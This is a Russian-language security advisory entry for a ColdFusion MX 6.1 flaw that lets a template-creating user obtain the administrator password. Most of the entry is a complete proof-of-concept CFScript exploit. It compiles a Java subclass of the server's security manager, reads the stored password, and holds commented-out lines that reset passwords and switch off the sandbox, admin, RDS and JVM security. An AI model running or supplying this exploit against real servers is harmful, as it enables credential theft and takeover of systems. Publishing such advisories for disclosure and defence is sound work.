Дата публикации: | 04.10.2004 |
Дата изменения: | 17.10.2006 |
Всего просмотров: | 1572 |
Опасность: | Средняя |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: ColdFusion MX 6.1
Описание: Уязвимость обнаружена в ColdFusion MX. Удаленный авторизованный пользователь способный создавать ColdFusion шаблоны может получить пароль администратора. Удаленный авторизованный пользователь с привилегиями создавать шаблоны, которые содержат тэги CreateObject и cfobject, может создать шаблон, чтобы получить доступ к паролю администратора. Пример: <cfscript> objFileWriter = CreateObject("java","java.io.FileWriter"); objByteArray = CreateObject("java","java.io.ByteArrayOutputStream"); objJavaC = CreateObject("java","sun.tools.javac.Main"); objString = CreateObject("java","java.lang.String"); objFile = CreateObject("java","java.io.File"); if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; } strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java"; strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar"; strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml"; strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties"; fileWriter = objFileWriter.init("#strJavaSource#",false); fileWriter.write("import coldfusion.security.SecurityManager;"); fileWriter.write("import java.io.File;"); fileWriter.write("public class SecurityExploit extends SecurityManager {"); fileWriter.write("public SecurityExploit(File arg0, File arg1) {"); fileWriter.write("super(arg0, arg1); }"); fileWriter.write("public boolean isAdminSecurityEnabled(){"); fileWriter.write("return false;}}"); fileWriter.flush(); fileWriter.close(); str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#"); strArr = str.split(","); byteArray = objByteArray.init(); compileObj =objJavaC.init(byteArray,str); compileObj.compile(strArr); obj = CreateObject("java","SecurityExploit"); file1 = objFile.init("#strNeoSecFile#"); file2 = objFile.init("#strPasswdFile#"); obj.init(file1,file2); obj.load(); </cfscript> <cfscript> // Get Administrator Password strAdminPw = obj.getAdminPassword(); // Set Administrator Password //obj.setAdminPassword("test123"); // Turn off Sandbox Security //obj.setSandboxSecurityEnabled(false); // Turn off Administrator Login //obj.setAdminSecurityEnabled(false); // Turn off RDS Login //obj.setRdsSecurityEnabled(false); // Set RDS Password //obj.setRdsPassword("test123"); // Turn off JVM Security //obj.setJvmSecurityEnabled(false); </cfscript> <cfoutput>Adminstrator Password: #strAdminPw#</cfoutput> URL производителя: http://www.macromedia.com/ Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. |
|
Ссылки: | CFMX vulnerability |